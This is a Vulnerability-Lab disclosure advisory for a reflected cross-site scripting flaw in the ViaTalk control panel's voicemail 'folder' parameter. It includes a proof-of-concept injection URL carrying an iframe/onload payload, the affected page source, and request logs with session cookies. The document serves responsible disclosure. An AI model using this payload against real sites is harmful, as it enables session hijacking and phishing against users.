Lucene search

K
vulnerlabVulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-LabVULNERABLE:2313
HistoryJul 20, 2023 - 12:00 a.m.

ViaTalk CP - Cross Site Scripting Web Vulnerability

2023-07-2000:00:00
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
www.vulnerability-lab.com
141
vulnerability
control panel
remote
cross site scripting
viatalk
web application
session hijacking
phishing
exploitation
Document Title:
===============
ViaTalk CP - Cross Site Scripting Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2313


Release Date:
=============
2023-07-20


Vulnerability Laboratory ID (VL-ID):
====================================
2313


Common Vulnerability Scoring System:
====================================
4.6


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
ViaTalk offers over 40 unique calling features included with each plan. ViaTalk is re-writing the rules for VoIP service flexibility and ease of use. 
Internet Phone Service Around The World!

(Copy of the Homepage: https://www.viatalk.com/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a cross site web vulnerability in the viatalk control panel web-application.

Affected Product(s):
====================
ViaTalk
Product: ViaTalk Control Panel - (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2022-01-17: Researcher Notification & Coordination (Security Researcher)
2022-01-18: Vendor Notification (Security Department)
2022-**-**: Vendor Response/Feedback (Security Department)
2022-**-**: Vendor Fix/Patch (Service Developer Team)
2022-**-**: Security Acknowledgements (Security Department)
2023-07-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A non-persistent cross site web vulnerability has been discovered in the official viatalk control panel web-application.
The vulnerability allows remote attackers to inject malicious script code in get method requests to compromise user 
session data or to manipulate application contents for client-side requests.

The vulnerability is located in the folder parameter of the myvoiceemail module. The request method to inject is get 
and the attack vector is non-persistent. The issue is a classic cross site scripting vulnerability.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent 
external redirects to malicious source and non-persistent manipulation of affected application modules.

Vulnerable Module(s):
[+] /cp/

Vulnerable Function(s):
[+] myvoiceemail

Vulnerable Parameter(s):
[+] folder


Proof of Concept (PoC):
=======================
The client-side web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.
For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
https://viatalk-cp.localhost:8080/viatalk/cp/myvoicemail?folder=%22%3E%3Ciframe%20src=evil.source%20onload=alert(%22TEST%22)%3E&sort=datetime


Vulnerable Source: Exploitation
<form action="/viatalk/cp/myvoicemail" method="post">
<div id="vm-folder">"&gt;<iframe src="evil.source" onload="alert(&quot;TEST&quot;)">[MALICIOUS SCRIPT CODE EXECUTION POINT!]</div>
<select class="vm-folder-select" id="folder" name="folder"><option value="INBOX">INBOX</option>
<option value="Old">Old</option></select>
<input align="absbottom" src="/images/viatalk/button_change.png?1575991344" type="image" />
</form>


--- PoC Session Logs [GET] (Inject & Execute) ---
https://viatalk-cp.localhost:8080/viatalk/cp/myvoicemail?folder="><iframe src=evil.source onload=alert("TEST")>&sort=datetime
Host: viatalk-cp.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie: __zlcmid=186kdl0juLs0OUd; _session_id=91320391f1a44ebba282bb8503ccee33
-
GET: HTTP/1.1 200 OK
Server: Apache/2.2.15 (CentOS)
Cache-Control: public
X-Powered-By: Phusion Passenger 4.0.58
Content-Length: 7973
Status: 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: _session_id=91320391f1a44ebba282bb8503ccee33; path=/;HttpOnly;Secure
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
-
https://viatalk-cp.localhost:8080/viatalk/cp/evil.source
Host: viatalk-cp.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: keep-alive
Referer: https://viatalk-cp.localhost:8080/viatalk/cp/myvoicemail?folder=%22%3E%3Ciframe%20src=evil.source%20onload=alert(%22TEST%22)%3E&sort=datetime
Cookie: __zlcmid=186kdl0juLs0OUd; _session_id=91320391f1a44ebba282bb8503ccee33
-
GET: HTTP/1.1 200 OK
Server: Apache/2.2.15 (CentOS)
Cache-Control: public
X-Powered-By: Phusion Passenger 4.0.58
Content-Length: 307
Status: 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: _session_id=91320391f1a44ebba282bb8503ccee33; path=/;HttpOnly;Secure
Connection: close


Security Risk:
==============
The security risk of the cross site scripting web vulnerability in the web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: 	https://www.vulnerability-lab.com ;	https://www.vuln-lab.com ; https://www.vulnerability-db.com

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2023 | Vulnerability Laboratory - [Evolution Security GmbH]™